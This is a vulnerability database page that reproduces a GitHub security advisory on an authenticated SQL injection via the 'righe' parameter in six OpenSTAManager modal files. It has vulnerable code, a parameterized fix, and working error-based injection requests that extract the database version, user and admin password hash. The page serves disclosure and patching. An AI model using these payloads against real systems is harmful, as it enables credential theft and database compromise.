GHSA-MMM5-3G4X-QW39

Vulnerability from github – Published: 2026-04-03 21:57 – Updated: 2026-04-03 21:57
VLAI?
Summary
OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals
Details

Description

Six confronta_righe.php files across different modules in OpenSTAManager <= 2.10.1 contain an SQL Injection vulnerability. The righe parameter received via $_GET['righe'] is directly concatenated into an SQL query without any sanitization, parameterization or validation.

An authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data.

Affected Files

All 6 vulnerable files share the same code pattern:

# File Line Affected Table
1 modules/fatture/modals/confronta_righe.php 29 co_righe_documenti
2 modules/interventi/modals/confronta_righe.php 29 in_righe_interventi
3 modules/preventivi/modals/confronta_righe.php 28 co_righe_preventivi
4 modules/ordini/modals/confronta_righe.php 29 or_righe_ordini
5 modules/ddt/modals/confronta_righe.php 29 dt_righe_ddt
6 modules/contratti/modals/confronta_righe.php 28 co_righe_contratti

Vulnerable Code

All files follow the same pattern. Example from modules/interventi/modals/confronta_righe.php:

$righe = $_GET['righe'];  // Line 29 — No sanitization

$righe = $dbo->fetchArray(
    'SELECT
        `mg_articoli_lang`.`title`,
        `mg_articoli`.`codice`,
        `in_righe_interventi`.*
    FROM
        `in_righe_interventi`
        INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo`
        LEFT JOIN `mg_articoli_lang` ON (...)
    WHERE
        `in_righe_interventi`.`id` IN ('.$righe.')'  // Line 41 — Direct concatenation
);

The value of $_GET['righe'] is inserted directly into the SQL IN() clause without using prepare(), parameterized statements or any sanitization function.

Reproduction

Prerequisites

  • Authenticated session (any user with module access)
  • At least one existing record in the target module (e.g. an intervention with id=1)

Step 1: Extract MySQL version

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23

Result: XPATH syntax error: '~8.3.0'

Step 2: Extract database user

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23

Result: XPATH syntax error: '~root@172.19.0.3'

Step 3: Extract admin credentials

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23

Result: XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'

Evidence

image

HTTP Request

GET /modules/interventi/modals/confronta_righe.php?id_module=3&id_record=1&righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1
Host: <TARGET>
Cookie: PHPSESSID=<SESSION_ID>

Response (excerpt)

SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~admin:$2y$10$qAo04wNbhR9cpxjHzr'

Impact

  • Confidentiality (High): Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information
  • Integrity (High): Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries
  • Availability (High): Deletion of tables or critical data, database corruption

Remediation

Recommended Fix

Use parameterized statements with prepare() for the righe parameter:

// BEFORE (vulnerable):
$righe = $_GET['righe'];
$righe = $dbo->fetchArray(
    '... WHERE `in_righe_interventi`.`id` IN ('.$righe.')'
);

// AFTER (secure):
$righe_ids = array_map('intval', explode(',', $_GET['righe'] ?? ''));
$placeholders = implode(',', array_fill(0, count($righe_ids), '?'));
$righe = $dbo->fetchArray(
    '... WHERE `in_righe_interventi`.`id` IN ('.$placeholders.')',
    $righe_ids
);

This fix must be applied to all 6 files listed in the "Affected Files" section.

Credits

Omar Ramirez

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.10.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "devcode-it/openstamanager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35470"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:57:08Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Description\n\nSix `confronta_righe.php` files across different modules in OpenSTAManager \u003c= 2.10.1 contain an SQL Injection vulnerability. The `righe` parameter received via `$_GET[\u0027righe\u0027]` is directly concatenated into an SQL query without any sanitization, parameterization or validation.\n\nAn authenticated attacker can inject arbitrary SQL statements to extract sensitive data from the database, including user credentials, customer information, invoice data and any other stored data.\n\n## Affected Files\n\nAll 6 vulnerable files share the same code pattern:\n\n| # | File | Line | Affected Table |\n|---|------|------|----------------|\n| 1 | `modules/fatture/modals/confronta_righe.php` | 29 | `co_righe_documenti` |\n| 2 | `modules/interventi/modals/confronta_righe.php` | 29 | `in_righe_interventi` |\n| 3 | `modules/preventivi/modals/confronta_righe.php` | 28 | `co_righe_preventivi` |\n| 4 | `modules/ordini/modals/confronta_righe.php` | 29 | `or_righe_ordini` |\n| 5 | `modules/ddt/modals/confronta_righe.php` | 29 | `dt_righe_ddt` |\n| 6 | `modules/contratti/modals/confronta_righe.php` | 28 | `co_righe_contratti` |\n\n## Vulnerable Code\n\nAll files follow the same pattern. Example from `modules/interventi/modals/confronta_righe.php`:\n\n```php\n$righe = $_GET[\u0027righe\u0027];  // Line 29 \u2014 No sanitization\n\n$righe = $dbo-\u003efetchArray(\n    \u0027SELECT\n        `mg_articoli_lang`.`title`,\n        `mg_articoli`.`codice`,\n        `in_righe_interventi`.*\n    FROM\n        `in_righe_interventi`\n        INNER JOIN `mg_articoli` ON `mg_articoli`.`id` = `in_righe_interventi`.`idarticolo`\n        LEFT JOIN `mg_articoli_lang` ON (...)\n    WHERE\n        `in_righe_interventi`.`id` IN (\u0027.$righe.\u0027)\u0027  // Line 41 \u2014 Direct concatenation\n);\n```\n\nThe value of `$_GET[\u0027righe\u0027]` is inserted directly into the SQL `IN()` clause without using `prepare()`, parameterized statements or any sanitization function.\n\n## Reproduction\n\n### Prerequisites\n\n- Authenticated session (any user with module access)\n- At least one existing record in the target module (e.g. an intervention with id=1)\n\n### Step 1: Extract MySQL version\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3\u0026id_record=1\u0026righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT VERSION())))%23\n```\n\n**Result:** `XPATH syntax error: \u0027~8.3.0\u0027`\n\n### Step 2: Extract database user\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3\u0026id_record=1\u0026righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT USER())))%23\n```\n\n**Result:** `XPATH syntax error: \u0027~root@172.19.0.3\u0027`\n\n### Step 3: Extract admin credentials\n\n```\nGET /modules/interventi/modals/confronta_righe.php?id_module=3\u0026id_record=1\u0026righe=1) AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT CONCAT(username,0x3a,password) FROM zz_users LIMIT 1)))%23\n```\n\n**Result:** `XPATH syntax error: \u0027~admin:$2y$10$qAo04wNbhR9cpxjHzr\u0027`\n\n### Evidence\n\n\u003cimg width=\"1254\" height=\"395\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a2367ed6-fa03-4668-9d74-4298cac5e429\" /\u003e\n\n\n### HTTP Request\n\n```http\nGET /modules/interventi/modals/confronta_righe.php?id_module=3\u0026id_record=1\u0026righe=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(username,0x3a,password)%20FROM%20zz_users%20LIMIT%201)))%23 HTTP/1.1\nHost: \u003cTARGET\u003e\nCookie: PHPSESSID=\u003cSESSION_ID\u003e\n```\n\n### Response (excerpt)\n\n```\nSQLSTATE[HY000]: General error: 1105 XPATH syntax error: \u0027~admin:$2y$10$qAo04wNbhR9cpxjHzr\u0027\n```\n\n## Impact\n\n- **Confidentiality (High):** Full database data extraction including user credentials (bcrypt hashes), customer data, invoices, contracts and any stored information\n- **Integrity (High):** Data modification via injected INSERT/UPDATE/DELETE statements through stacked queries or subqueries\n- **Availability (High):** Deletion of tables or critical data, database corruption\n\n## Remediation\n\n### Recommended Fix\n\nUse parameterized statements with `prepare()` for the `righe` parameter:\n\n```php\n// BEFORE (vulnerable):\n$righe = $_GET[\u0027righe\u0027];\n$righe = $dbo-\u003efetchArray(\n    \u0027... WHERE `in_righe_interventi`.`id` IN (\u0027.$righe.\u0027)\u0027\n);\n\n// AFTER (secure):\n$righe_ids = array_map(\u0027intval\u0027, explode(\u0027,\u0027, $_GET[\u0027righe\u0027] ?? \u0027\u0027));\n$placeholders = implode(\u0027,\u0027, array_fill(0, count($righe_ids), \u0027?\u0027));\n$righe = $dbo-\u003efetchArray(\n    \u0027... WHERE `in_righe_interventi`.`id` IN (\u0027.$placeholders.\u0027)\u0027,\n    $righe_ids\n);\n```\n\nThis fix must be applied to all **6 files** listed in the \"Affected Files\" section.\n\n## Credits\nOmar Ramirez",
  "id": "GHSA-mmm5-3g4x-qw39",
  "modified": "2026-04-03T21:57:08Z",
  "published": "2026-04-03T21:57:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-mmm5-3g4x-qw39"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/devcode-it/openstamanager"
    },
    {
      "type": "WEB",
      "url": "https://github.com/devcode-it/openstamanager/releases/tag/v2.10.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenSTAManager has a SQL Injection via righe Parameter in confronta_righe Modals"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…